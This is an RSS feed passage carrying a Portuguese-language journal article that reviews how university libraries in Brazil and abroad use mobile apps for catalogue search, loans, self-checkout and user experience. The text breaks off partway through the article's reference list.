<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Administração &#8211; ISSN 1678-0817 Qualis/DOI</title>
	<atom:link href="https://revistaft.com.br/category/administracao/feed/" rel="self" type="application/rss+xml" />
	<link>https://revistaft.com.br</link>
	<description>Revista Científica de Alto Impacto.</description>
	<lastBuildDate>Thu, 12 Mar 2026 10:37:13 +0000</lastBuildDate>
	<language>pt-BR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://revistaft.com.br/wp-content/uploads/2022/05/favicon-ft-150x150.png</url>
	<title>Administração &#8211; ISSN 1678-0817 Qualis/DOI</title>
	<link>https://revistaft.com.br</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>APLICATIVOS MÓVEIS COMO FERRAMENTAS PARA A CONECTIVIDADE E INOVAÇÃO EM BIBLIOTECAS UNIVERSITÁRIAS</title>
		<link>https://revistaft.com.br/aplicativos-moveis-como-ferramentas-para-a-conectividade-e-inovacao-em-bibliotecas-universitarias/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Tue, 13 Jan 2026 16:00:44 +0000</pubDate>
				<category><![CDATA[Administração]]></category>
		<category><![CDATA[Volume 30 - Edição 154/JAN 2026]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=262430</guid>

					<description><![CDATA[MOBILE APPS AS TOOLS FOR CONNECTIVITY AND INNOVATION IN UNIVERSITY LIBRARIES REGISTRO DOI: 10.69849/revistaft/cl10202601131257 Elane Paixão da Silva1Vera Lúcia Ferreira Muniz2Tatiana Simplício da Silva3 Resumo: A pesquisa analisa o uso de aplicativos móveis como estratégia de inovação em bibliotecas universitárias, destaca seu papel na ampliação do acesso à informação, na melhoria da experiência do usuário [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">MOBILE APPS AS TOOLS FOR CONNECTIVITY AND INNOVATION IN UNIVERSITY LIBRARIES</p>



<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202601131257</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Elane Paixão da Silva<sup>1</sup><br>Vera Lúcia Ferreira Muniz<sup>2</sup><br>Tatiana Simplício da Silva<sup>3</sup></p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>Resumo:</strong> A pesquisa analisa o uso de aplicativos móveis como estratégia de inovação em bibliotecas universitárias, destaca seu papel na ampliação do acesso à informação, na melhoria da experiência do usuário e no fortalecimento da presença digital dessas instituições. Baseia-se em revisão bibliográfica e análise documental, fundamentada em conceitos como experiência do usuário e <em>design</em> centrado no usuário. Os resultados evidenciam que tais aplicativos oferecem funcionalidades como consulta de acervo, renovação de empréstimos, atendimento remoto, promovendo maior autonomia aos usuários. Conclui-se que esses recursos representam avanços estratégicos na modernização das bibliotecas digitais, com oferta de serviços mais eficazes e personalizados.</p>



<p class="wp-block-paragraph"><strong>Palavras-chave</strong>: Bibliotecas universitárias. Aplicativos móveis.&nbsp; Inovação. Experiência do usuário. Acesso à informação.</p>



<p class="wp-block-paragraph"><strong>Abstract</strong><em>:</em> The research analyzes the use of mobile applications as an innovation strategy in university libraries, highlighting their role in expanding access to information, improving the user experience and strengthening the digital presence of these institutions. It is based on a bibliographic review and document analysis, grounded in concepts such as user experience and user-centered design. The results show that such applications offer features such as collection consultation, loan renewal, and remote service, promoting greater autonomy for users. It is concluded that these resources represent strategic advances in the modernization of digital libraries, offering more effective and personalized services.</p>



<p class="wp-block-paragraph"><strong>Keywords</strong>: University libraries. Mobile applications. Innovation. User experience. Access to information.</p>



<p class="wp-block-paragraph"><strong>1.</strong> <strong>INTRODUÇÃO</strong></p>



<p class="wp-block-paragraph">A popularização de tecnologias móveis transformou a forma de acesso à informação, impulsionando bibliotecas universitárias a adotar soluções digitais ágeis. Nesse cenário, os aplicativos tornaram-se estratégicos, permitindo acesso remoto ao acervo e integração à rotina acadêmica.&nbsp; Ribeiro e Ferreira (2017) destacam que essas tecnologias ampliam as formas de busca em dispositivos próprios, enquanto Pires e Prado (2017) ressaltam seu papel na disseminação do conhecimento. Assim, este estudo analisa como aplicativos móveis personalizados podem aprimorar a experiência do usuário, unindo usabilidade, personalização e integração institucional. Além disso, conforme Neves, Pinto e Spudeit (2021), configuram-se também como estratégias de marketing informacional.</p>



<p class="wp-block-paragraph">Nessa perspectiva, o presente estudo tem como <strong>objetivo geral</strong> analisar a implementação de aplicativos móveis como estratégia de inovação nas bibliotecas universitárias, com ênfase na ampliação do acesso à informação, na melhoria da experiência do usuário e no fortalecimento da presença digital dessas unidades. Os&nbsp; objetivos específicos incluem: <strong>analisar</strong> o conceito e as potencialidades dos aplicativos móveis em dispositivos portáteis no acesso e disseminação da informação no contexto atual; <strong>avaliar</strong> a contribuição dos aplicativos móveis para a experiência do usuário, considerando critérios como usabilidade, acessibilidade e personalização dos serviços; <strong>investigar</strong> casos de implementação bem-sucedida de aplicativos móveis em bibliotecas universitárias nacionais e internacionais, identificando melhores práticas e lições aprendidas.</p>



<p class="wp-block-paragraph">Desse modo, a relevância da pesquisa reside na necessidade de compreender os impactos da adoção de aplicativos móveis nos serviços das bibliotecas universitárias, sobretudo em um cenário de transformação digital que redefine as formas de acesso e interação com a informação. Assim, ao propor uma análise voltada à experiência do usuário, o estudo contribui tanto para a ampliação do debate científico na Biblioteconomia e Ciência da Informação quanto para a prática profissional, oferecendo subsídios que auxiliem gestores e bibliotecários na implementação de estratégias inovadoras. Por fim, ao dialogar com lacunas ainda pouco exploradas na literatura nacional, a pesquisa reforça sua pertinência acadêmica e prática evidenciando o potencial dos aplicativos móveis&nbsp; para fortalecer a função social e educacional das bibliotecas no ensino superior.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2. METODOLOGIA</strong></p>



<p class="wp-block-paragraph">O artigo está estruturado em três capítulos: referencial teórico, metodologia e apresentação dos resultados com recomendações práticas para bibliotecas universitárias. Adota uma abordagem qualitativa e exploratória, voltada a explorar um tema que demanda uma compreensão complexa e detalhada, conforme sustentam Creswell (2014, p.47) e Mattar e Ramos (2021, p. 119).</p>



<p class="wp-block-paragraph">Apresenta, por conseguinte, um caráter descritivo, cuja função é explicar as características de um fenômeno ou de uma população, estabelecendo relações entre as variáveis (Michel, 2009). A escolha da abordagem qualitativa justifica-se pela capacidade de proporcionar uma análise mais aprofundada e interpretativa do fenômeno investigado, considerando as múltiplas dimensões sociais, tecnológicas e informacionais envolvidas.</p>



<p class="wp-block-paragraph">O levantamento bibliográfico constituiu o principal procedimento técnico na construção do referencial teórico. Com o intuito de compreender como os aplicativos móveis personalizados podem contribuir para a melhoria da experiência dos usuários em bibliotecas universitárias foram analisados: artigos científicos, dissertações, teses, livros e documentos institucionais publicados nas áreas de Biblioteconomia, Ciência da Informação, Tecnologia Educacional e <em>Marketing</em> Informacional. As bases de dados utilizadas incluíram Scielo e Google Acadêmico.</p>



<p class="wp-block-paragraph">Ademais, foram consultados exemplos práticos de bibliotecas universitárias que já utilizam aplicativos móveis, tanto em instituições nacionais quanto internacionais, as quais corroboram a relevância das soluções móveis com vistas à ampliação do acesso à informação e otimização da interação com o usuário. Essas experiências foram reunidas e sistematizadas em um quadro comparativo, apresentado na seção 3.4, de modo a identificar funcionalidades recorrentes, estratégias de implementação e impactos percebidos na relação entre biblioteca e usuário.</p>



<p class="wp-block-paragraph">A estrutura do trabalho está organizada em capítulos que contemplam: introdução, metodologia, fundamentação teórica e apresentação de casos práticos e, por fim, considerações finais e recomendações. Ressalta-se que essa estrutura buscou garantir uma abordagem sistemática e alinhada aos objetivos da&nbsp; pesquisa.</p>



<p class="wp-block-paragraph"><strong>3. FUNDAMENTAÇÃO TEÓRICA</strong></p>



<p class="wp-block-paragraph"><strong>3.1 Aplicativos móveis: conceito e potencial de aplicação</strong></p>



<p class="wp-block-paragraph">Na contemporaneidade, a sociedade global realiza a maior parte de suas interações, sejam profissionais, familiares, de lazer ou outras, por meio de ambientes virtuais, uma realidade cada vez mais presente e em constante expansão. Ao refletir sobre a conexão virtual, é inevitável não associá-la à comunicação e às diversas formas pelas quais ela ocorre, como e-mails, redes sociais, <em>chats</em>, entre outras.</p>



<p class="wp-block-paragraph">Salienta-se que as tecnologias móveis avançaram graças à portabilidade, conectividade constante e variedade de aplicativos. Esses “apps”, pequenos <em>softwares</em> disponíveis em lojas virtuais, ampliam as funcionalidades dos dispositivos e contribuem para fortalecer vínculos pessoais e profissionais, permitindo a realização de diversas atividades (Silva, 2018).</p>



<p class="wp-block-paragraph">Nesse cenário, é inegável que dispositivos móveis, ou <em>handhelds</em>, consolidaram-se no cotidiano, oferecendo aos bibliotecários aprimoramento de atividades profissionais (Teruel, 2010). Os aplicativos móveis, ao agilizar o acesso à informação, alinham-se ao objetivo central das bibliotecas: a <strong>disseminação do conhecimento</strong>. Assim, a biblioteca reforça sua função social, contribuindo para o desenvolvimento comunitário e a geração de conhecimento, indo além da simples disponibilização de informação (Pires; Prado, 2017).&nbsp;</p>



<p class="wp-block-paragraph">Nessa perspectiva, destaca-se que a biblioteca é um organismo vivo, em constante transformação. Por isso, deve acompanhar as mudanças que se impõem à sociedade, promovendo melhorias contínuas em seus produtos e serviços, além de fortalecer o vínculo com os usuários — sua razão de existir. Assim, com base na compreensão da biblioteca como um organismo vivo, em constante adaptação às transformações sociais e tecnológicas, torna-se essencial refletir sobre o papel das bibliotecas universitárias na era digital.</p>



<p class="wp-block-paragraph"><strong>3.2&nbsp;Bibliotecas universitárias na era digital&nbsp;</strong></p>



<p class="wp-block-paragraph">Com o avanço constante das tecnologias, surgem expectativas sobre suas aplicações, benefícios e impactos, exigindo das instituições adaptação para manter o desenvolvimento e a competitividade. Nesse contexto, as bibliotecas universitárias buscam se tornar mais atrativas e essenciais, incorporando recursos tecnológicos para ampliar a qualidade e o alcance de seus serviços. Mais do que centros de acesso a acervos físicos, reinventam-se como espaços interativos, dinâmicos e integrados às novas demandas informacionais da sociedade.</p>



<p class="wp-block-paragraph">Ademais, o acesso à informação é fundamental na vida em sociedade, e a habilidade de interpretá-la tornou-se uma competência crucial. Nas bibliotecas universitárias, esse papel ganha destaque, pois atuam como centros de gestão do conhecimento, contribuindo estrategicamente para o desenvolvimento acadêmico, científico e institucional.</p>



<p class="wp-block-paragraph">Conforme destacam Pimentel, Bernardes e Santana (2007, p.23) “a biblioteca universitária é como o pilar principal da instituição, pois a sua finalidade é apoiar a realização de pesquisas em consonância com os objetivos programados”. Complementarmente, elas têm como função assegurar esse acesso à comunidade acadêmica, apoiando diretamente a missão institucional das universidades, que envolve a produção do conhecimento e a formação em nível superior.</p>



<p class="wp-block-paragraph">Frisa-se então que as bibliotecas universitárias devem adotar uma postura proativa, indo além da mediação entre o usuário e o acervo, promovendo a inclusão digital, a formação para o acesso e uso consciente da informação, bem como a orientação na seleção qualificada das fontes.<strong> </strong>A adoção de tecnologias digitais e a criação de serviços inovadores expandem a atuação das bibliotecas universitárias e reforçam seu papel estratégico no apoio às atividades de ensino, pesquisa e extensão.<strong> </strong>Nesse sentido, Cunha Neto <em>et al</em> (2025) destacam a oportunidade para bibliotecas universitárias explorarem e ampliarem serviços via aplicativos móveis, aproveitando a onipresença dos dispositivos e as necessidades do usuário contemporâneo.</p>



<p class="wp-block-paragraph">Desse modo, os aplicativos móveis criados pelas bibliotecas universitárias têm contribuído significativamente para superar as barreiras físicas que antes limitavam o acesso dos usuários, permitindo acesso prático e interativo a todos os serviços da biblioteca e ampliando a atuação dos bibliotecários (Silva, 2018).</p>



<p class="wp-block-paragraph">Portanto, os aplicativos móveis podem ser vistos como ferramentas importantes que ajudam a conectar os usuários aos serviços e produtos oferecidos pelas bibliotecas universitárias. Reunindo várias funções em um só lugar, facilitando o acesso e aproximando a biblioteca do cotidiano de seus usuários.&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.3 Inovação e experiência do usuário em ambientes acadêmicos</strong></p>



<p class="wp-block-paragraph">Em um cenário de incertezas, concorrência e avanços tecnológicos, a inovação é uma necessidade estratégica para as organizações. Nas bibliotecas, essa realidade é intensa: para manter sua relevância acadêmica e social, precisam ser inovadoras e proativas, repensando serviços, modernizando a gestão de recursos, incorporando tecnologias e fortalecendo a conexão com usuários. Na perspectiva de Audy (2017), tal adaptação é urgente, visto que as instituições de educação se encontram em uma encruzilhada, onde precisam incorporar a inovação disruptiva ou correm o risco de serem superadas ou desafiadas por novas instituições ou por aquelas que já adotam essas tecnologias.</p>



<p class="wp-block-paragraph">Isto posto, para atender a essas novas demandas, os aplicativos móveis despontam como ferramentas estratégicas e grandes aliados na promoção do acesso à informação e no fortalecimento da relação entre biblioteca e usuário.</p>



<p class="wp-block-paragraph">Tal capacidade de conexão, na qual barreiras geográficas são transpassadas, é&nbsp; inerente aos dispositivos móveis, conforme se observa em Munhoz (2016), ao sustentar que “em todos os ambientes sociais, a utilização de dispositivos móveis pode aproximar as pessoas, ainda que elas estejam geograficamente separadas, e, assim, facilitar o desenvolvimento de trabalhos conjuntos”. Ao trazer a problemática para o contexto das bibliotecas universitárias, é possível inferir que essa conectividade se manifesta na necessidade de serviços otimizados para o ambiente acadêmico.</p>



<p class="wp-block-paragraph">A essa discussão, Roldan e Thompson (2013) acrescentam que as bibliotecas universitárias precisam oferecer serviços móveis capazes de atender às demandas de trabalho, estudo e pesquisa dos seus usuários. Para isso, é essencial o desenvolvimento de aplicativos nativos que aproveitem os recursos específicos dos dispositivos móveis, tornando os serviços mais acessíveis, práticos e úteis no cotidiano acadêmico.</p>



<p class="wp-block-paragraph">Esses aplicativos são desenvolvidos com foco nas reais necessidades dos usuários, priorizando mobilidade, agilidade e comodidade. Oferecem funcionalidades como consulta ao acervo, renovação, reserva, notificações e acesso a conteúdos digitais. Tudo disponível a qualquer hora e lugar, promovendo uma experiência mais fluida e responsiva.</p>



<p class="wp-block-paragraph">Para o sucesso do projeto, Roldan e Thompson (2013) sugerem nove itens essenciais: que a <strong>coordenação do projeto seja da biblioteca</strong>, priorizando as necessidades dos usuários; a <strong>identificação dos dispositivos e sistemas operacionais</strong> mais usados pelo público-alvo para garantir compatibilidade; a <strong>definição clara dos recursos e funcionalidades</strong> que o aplicativo deve oferecer, explorando capacidades específicas dos dispositivos (como câmera ou GPS); a possibilidade de <strong>integração com outros aplicativos</strong> gratuitos; a <strong>pesquisa de soluções similares</strong> já existentes; o <strong>uso de um Kit de Desenvolvimento (SDK)</strong>, preferencialmente do fabricante do dispositivo; a <strong>otimização para telas pequenas</strong>, evitando rolagem excessiva; e, por fim, um <strong>design minimalista e focado na usabilidade</strong>, com interfaces limpas e acesso rápido às funcionalidades.</p>



<p class="wp-block-paragraph"><strong>3.4&nbsp;Exemplos práticos de aplicativos móveis utilizados em Bibliotecas Universitárias&nbsp;</strong></p>



<p class="wp-block-paragraph">A adoção de tecnologias móveis em bibliotecas universitárias tem se confirmado como estratégia para modernizar serviços, otimizar processos e melhorar a conexão com o usuário e ainda fortalecer o <em>marketing</em>. O quadro 1exemplifica bibliotecas acadêmicas nacionais e internacionais que utilizam aplicativos, destacando suas funcionalidades e contribuições para a inovação.<strong>&nbsp;</strong></p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 1 &#8211; </strong>Recursos Tecnológicos em Bibliotecas.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td>Biblioteca</td><td><strong>Principais funcionalidades</strong></td><td><strong>Disponibilizado</strong></td></tr><tr><td>Biblioteca universitária da USP</td><td>​Reservar itens emprestados; Renovar itens emprestados; Visualizar Lista de empréstimos ativos; Visualizar Histórico de empréstimos; Visualizar e gerenciar a Lista de reservas; Visualizar mensagens enviadas pela biblioteca.</td><td><a href="http://biblioteca.puspsc.usp.br/index.php/aplicativo-movel-bibliotecas-usp/">Aplicativo Móvel Bibliotecas USP – Biblioteca da Prefeitura do Campus</a></td></tr><tr><td>Biblioteca central Zila da Universidade Federal do Rio Grande do Norte</td><td>A instituição disponibiliza um aplicativo que apresenta dois acessos diretos: um para o Sistema Integrado de Gestão de Atividades Acadêmicas (SIGAA), o qual reúne serviços acadêmicos e administrativos, e outro para os repositórios institucionais, por meio do ícone &#8220;Bibliotecas UFRN&#8221;</td><td><a href="https://app.bczm.ufrn.br/home/#/">Bibliotecas UFRN</a></td></tr><tr><td>Biblioteca da Escola de Educação Física e Esporte da Universidade de São Paulo (EEFE-USP )</td><td>De acordo com Santana e Franco (2015) o&nbsp; aplicativo da Biblioteca da EEFE-USP reúne diversas funcionalidades voltadas à comodidade do usuário, como o acesso às redes sociais da biblioteca, informações detalhadas sobre os serviços oferecidos, mapa de localização, galeria de fotografias e integração com o recurso RSS para agregação de conteúdo.</td><td><a href="https://brapci.inf.br/v/2988">Aplicativo para dispositivos móveis: relato de experiência da biblioteca da escola de educação física e esporte da universidade de São Paulo | Revista Brasileira de Biblioteconomia e Documentação, v. 11, n. esp, 2015 | 2015 &#8211; Brapci</a></td></tr><tr><td>Biblioteca da Universidadede Yale (Yale UniversityLibrary)</td><td><em>Self-checkout</em> via app (“Yale Library Self-Checkout”) — usa a câmera do celular para escanear códigos de barras e realizar empréstimos diretamente no campus. Disponível para iOS e Android; requer login com NetID e autenticação multifator<a href="https://journal.calaijol.org/index.php/ijol/article/download/294/385/2099?utm_source=chatgpt.com"> library.medicine.yale.edu+3</a></td><td><a href="https://library.yale.edu/find-request-and-use/use/using-library-collections/check-out-book/self-checkout-app?utm_source">Aplicativo de autoatendimento | Biblioteca de Yale</a></td></tr><tr><td>Iowa State University Library (EUA)</td><td>Acesso a periódicos acadêmicos via app “BrowZine”: permite navegação por editores, notificações de novos números, prateleira virtual personalizada e integração com serviços como Zotero, Evernote e Mendeley</td><td><a href="https://www.inside.iastate.edu/article/2013/08/22/browzine?utm_source=">Library offers mobile journal access • Inside Iowa State for faculty and staff • Iowa State University</a></td></tr><tr><td>Hong Kong Polytechnic University Library</td><td>O app da biblioteca “PolyU” permite:Navegação interna com realidade aumentada; visualização em tempo real da disponibilidade de espaços e equipamentos; reservas e <em>check-in/out</em> de salas; acesso a registros de empréstimos e alertas personalizados; guia de áudio com experiências estudantis.</td><td><a href="https://www.lib.polyu.edu.hk/app">https://www.lib.polyu.edu.hk/app</a></td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: organizado pelas autoras.</p>



<p class="wp-block-paragraph">Descrição:&nbsp; apresenta recursos tecnológicos adotados por bibliotecas universitárias no Brasil e no exterior. Destaca, para cada instituição, as principais funcionalidades oferecidas por seus aplicativos móveis, como renovação e reserva de itens, integração com sistemas acadêmicos, autoatendimento, acesso a periódicos, e recursos interativos como realidade aumentada e guias personalizados.</p>



<p class="wp-block-paragraph">Com base nesse quadro comparativo as Bibliotecas universitárias, tanto no Brasil quanto no exterior, vêm adotando aplicativos móveis com diferentes enfoques, que variam da oferta de serviços tradicionais à implementação de estratégias voltadas ao engajamento digital e à integração com o ambiente acadêmico. Alguns eixos de análise estão elencados no quadro 2:</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 2 </strong>&#8211; Desafios na adoção de aplicativos móveis por bibliotecas universitárias</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td><strong>Eixos de análise</strong></td><td><strong>Destaques e desafios</strong></td></tr><tr><td>Funcionalidades técnicas e operacionais</td><td>Prioridades variadas</td></tr><tr><td>Experiência do usuário e acessibilidade</td><td>Maturidade digital divergente</td></tr><tr><td>Integração com ambientes acadêmicos digitais</td><td>Diferencial estratégico</td></tr><tr><td>Amplitude funcional X especialização de serviços</td><td>Reflexo da estratégia institucional</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: organizado pelas autoras.&nbsp;</p>



<p class="wp-block-paragraph">Descrição:<strong>&nbsp; </strong>quadro textual&nbsp; que resume desafios na adoção de aplicativos móveis por bibliotecas universitárias, abordando prioridades funcionais, maturidade digital, integração com sistemas e estratégias institucionais.</p>



<p class="wp-block-paragraph">Os desafios apresentados no Quadro 2 mostram que a adoção de aplicativos móveis nas bibliotecas universitárias envolve escolhas estratégicas além de questões técnicas. As prioridades funcionais variam conforme a estrutura institucional: bibliotecas maiores tendem a oferecer aplicativos mais robustos, enquanto outras optam por soluções mais simples e diretas. A maturidade digital divergente também se reflete na usabilidade e acessibilidade, impactando a adesão dos usuários. Já a integração com sistemas acadêmicos desponta como fator decisivo, pois amplia a relevância do aplicativo no cotidiano universitário.&nbsp; Parágrafo inserido</p>



<p class="wp-block-paragraph">Em síntese, o equilíbrio entre amplitude e especialização de serviços reflete as estratégias institucionais das bibliotecas e influencia a percepção de valor dos usuários. Os aplicativos móveis têm ampliado a autonomia, a praticidade e a integração com plataformas acadêmicas, fortalecendo a gestão e a oferta de serviços. Experiências nacionais e internacionais evidenciam que esses recursos aumentam a visibilidade das bibliotecas, aprimoram a comunicação com o público e se consolidam como aliados da inovação e da missão educacional.</p>



<p class="wp-block-paragraph"><strong>4. RESULTADOS E DISCUSSÕES&nbsp;</strong></p>



<p class="wp-block-paragraph">Com base na revisão da literatura e na análise de casos práticos de bibliotecas universitárias que adotam aplicativos móveis, identificaram-se funcionalidades frequentes, estratégias adotadas para sua implementação e os principais impactos na interação entre biblioteca e usuários.</p>



<p class="wp-block-paragraph">Os resultados apontam que os aplicativos móveis têm sido utilizados como instrumentos de mediação da informação, promovendo uma interação mais dinâmica e personalizada com os usuários. Dentre as funcionalidades mais recorrentes identificadas nos aplicativos analisados, destacam-se: consulta ao acervo (com possibilidade de busca por título, autor ou assunto); renovação e reserva de materiais; acesso a bases de dados e conteúdos digitais; serviços de referência e atendimento por meio de chat ou formulários; envio de notificações sobre prazos, eventos e novidades; além de mapas interativos e orientações para utilização dos espaços físicos da biblioteca.</p>



<p class="wp-block-paragraph">Quanto aos impactos observados, os relatos das bibliotecas e os dados secundários analisados indicam avanços significativos, como o aumento da autonomia dos usuários no acesso aos serviços; a diminuição da demanda nos balcões de atendimento presencial; o estreitamento da relação entre a biblioteca e a comunidade acadêmica — especialmente entre os estudantes mais familiarizados com o ambiente digital —, além do fortalecimento da imagem da biblioteca como um espaço inovador, responsivo e alinhado às novas exigências informacionais.</p>



<p class="wp-block-paragraph"><strong>5. CONSIDERAÇÕES FINAIS</strong></p>



<p class="wp-block-paragraph">Essa pesquisa buscou investigar como os aplicativos móveis personalizados podem aprimorar a experiência dos usuários em bibliotecas universitárias. O estudo confirmou que essas ferramentas representam um avanço tecnológico e estratégico, modernizando serviços, ampliando o acesso à informação e valorizando a experiência em ambientes acadêmicos.</p>



<p class="wp-block-paragraph">Foi constatado que os aplicativos móveis oferecem funcionalidades que vão além do acesso ao acervo, integrando notificações, reservas, renovações, acesso a conteúdos digitais, suporte remoto e comunicação personalizada em uma interface única. Isso reflete o novo papel das bibliotecas na era digital: não apenas espaços para armazenamento de conhecimento, mas centros de interação, produção e disseminação da informação.</p>



<p class="wp-block-paragraph">A fundamentação teórica e os exemplos práticos analisados reforçaram a relevância da integração entre <em>design</em> centrado no usuário, <em>marketing</em> informacional e inovação tecnológica no contexto das bibliotecas universitárias. A literatura consultada também destacou a importância de um planejamento estratégico que considere as reais necessidades dos usuários, e a compatibilidade tecnológica.</p>



<p class="wp-block-paragraph">Além dessas constatações, algumas recomendações práticas podem apoiar gestores e bibliotecários na implementação ou aprimoramento de aplicativos móveis, tais como: <strong>alinhar o aplicativo à infraestrutura tecnológica disponível e aos objetivos institucionais</strong>, evitando funcionalidades que não possam ser sustentadas; <strong>incorporar recursos de acessibilidade e usabilidade desde o início</strong>, garantindo que diferentes perfis de usuários possam usufruir plenamente do serviço, <strong>integrar o aplicativo aos sistemas acadêmicos já consolidados</strong> (como Moodle ou Canvas), ampliando sua relevância no cotidiano universitário; <strong>definir se o aplicativo terá caráter abrangente ou especializado</strong>, de acordo com a estratégia institucional e as demandas da comunidade acadêmica.&nbsp;</p>



<p class="wp-block-paragraph">Esse estudo exploratório, baseado em revisão bibliográfica e análise documental, não incluiu entrevistas ou estudos de caso aprofundados com usuários ou equipes técnicas, o que limitou a compreensão prática do impacto dos aplicativos. Por isso, para futuras pesquisas, recomendam-se: realizar pesquisas empíricas com usuários para avaliar a eficácia real dos aplicativos; desenvolver projetos piloto em bibliotecas sem essas tecnologias, analisando seus impactos; conduzir investigações comparativas entre aplicativos nacionais e internacionais, focado em usabilidade, acessibilidade e engajamento.</p>



<p class="wp-block-paragraph">A transformação digital nas bibliotecas universitárias é uma necessidade frente à sociedade conectada. Aplicativos móveis, bem planejados e centrados no usuário, não apenas qualificam os serviços oferecidos, mas reposicionam a biblioteca como agente ativo no ecossistema acadêmico, cultural e social. Por fim, acredita-se que investir nessas soluções representa uma estratégia essencial para assegurar a permanência e relevância institucional em um cenário informacional dinâmico e competitivo.</p>



<p class="wp-block-paragraph"><strong>Referências&nbsp;</strong></p>



<p class="wp-block-paragraph">AUDY, Jorge.<strong> A inovação, o desenvolvimento e o papel da Universidade. Estudos avançados</strong>, v. 31, p. 75-87, maio&nbsp; 2017. Disponível em:<a href="https://www.scielo.br/j/ea/a/rtKFhmw4MF6TPm7wH9HSpFK/?lang=pt"> https://www.scielo.br/j/ea/a/rtKFhmw4MF6TPm7wH9HSpFK/?lang=pt</a>. Acesso em: 11 maio 2025.</p>



<p class="wp-block-paragraph">CRESWELL, John W. <strong>Investigação qualitativa e projeto de pesquisa</strong>. 3. ed. Porto Alegre: Penso, 2014. E-book. p.47. Disponível em: <a href="https://integrada.minhabiblioteca.com.br/reader/books/9788565848893/">https://integrada.minhabiblioteca.com.br/reader/books/9788565848893/</a>. Acesso em: 11 jun. 2025.</p>



<p class="wp-block-paragraph">CUNHA NETO, J. da <em>et al</em>. <strong>Aplicativo móvel como ferramenta de integração e promoção de serviços na biblioteca setorial da escola multicampi de ciências médicas do RN</strong>. Cenas Educacionais, <em>[S. l.],</em> v. 8, p. e22157, 2025. DOI: 10.5281/zenodo.15160220. Disponível em: <a href="https://www.revistas.uneb.br/index.php/cenaseducacionais/article/view/22157">https://www.revistas.uneb.br/index.php/cenaseducacionais/article/view/22157</a>. Acesso em: 23 maio 2025.</p>



<p class="wp-block-paragraph">MATTAR, João; RAMOS, Daniela K. <strong>Metodologia da pesquisa em educação: </strong>abordagens qualitativas, quantitativas e mistas . São Paulo: Almedina Brasil, 2021. E-book. Disponível em: https://integrada.minhabiblioteca.com.br/reader/books/9786586618518/. Acesso em: 11 jun. 2025.</p>



<p class="wp-block-paragraph">MICHEL, Maria Helena. <strong>Metodologia e pesquisa científica em ciências sociais:</strong> um guia prático para acompanhamento da disciplina e elaboração de trabalhos monográficos. 2. ed. São Paulo: Atlas, 2009.</p>



<p class="wp-block-paragraph">MUNHOZ, Antonio S. <strong>Tecnologias educacionais</strong>. Rio de Janeiro: Saraiva, 2016. E-book. p.32. ISBN 978-85-472-0095-4. Disponível em: <a href="https://integrada.minhabiblioteca.com.br/reader/books/978-85-472-0095-4/">https://integrada.minhabiblioteca.com.br/reader/books/978-85-472-0095-4/</a>. Acesso em: 23 maio 2025.</p>



<p class="wp-block-paragraph">NEVES, Bárbara C.; PINTO, Marli Dias de S.; SPUDEIT, Daniela (orgs.). <strong>Marketing na Ciência da Informação</strong>: método, perspectivas e desafios. Salvador: EDUFBA, 2021.</p>



<p class="wp-block-paragraph">PIMENTEL, Graça; BERNARDES, Liliane; SANTANA, Marcelo. <strong>Biblioteca Escolar</strong>. Brasília: Universidade de Brasília, 2007. (Programa Profuncionário, p. 23).</p>



<p class="wp-block-paragraph">PIRES, Erick A. de N.; PRADO, Jorge M. K. do. <strong>Desenvolvimento de aplicativos móveis para bibliotecas a partir de aspectos da arquitetura da informação</strong>. 2017. Revista Biblionline, João Pessoa, PB, <a href="https://periodicos.ufpb.br/index.php/biblio/issue/view/2023">&nbsp;v. 13 n. 4, 2017</a>. Disponível em:<a href="https://doi.org/10.22478/ufpb.1809-4775.2017v13n4.36956"> https://doi.org/10.22478/ufpb.1809-4775.2017v13n4.36956</a>. Acesso em: 20 maio 2025.</p>



<p class="wp-block-paragraph">RIBEIRO, Anna Carolina Mendonça Lemos; FERREIRA, Pedro Cavalcanti Gonçalves. <strong>Biblioteca do século XXI</strong>: desafios e perspectivas. Brasília: Ipea, 2017. Disponível em:<a href="https://repositorio.ipea.gov.br/bitstream/11058/7426/1/Biblioteca_do_seculo_xxi.pdf"> https://repositorio.ipea.gov.br/bitstream/11058/7426/1/Biblioteca_do_seculo_xxi.pdf</a>. Acesso em: 8 jun.&nbsp; 2025.</p>



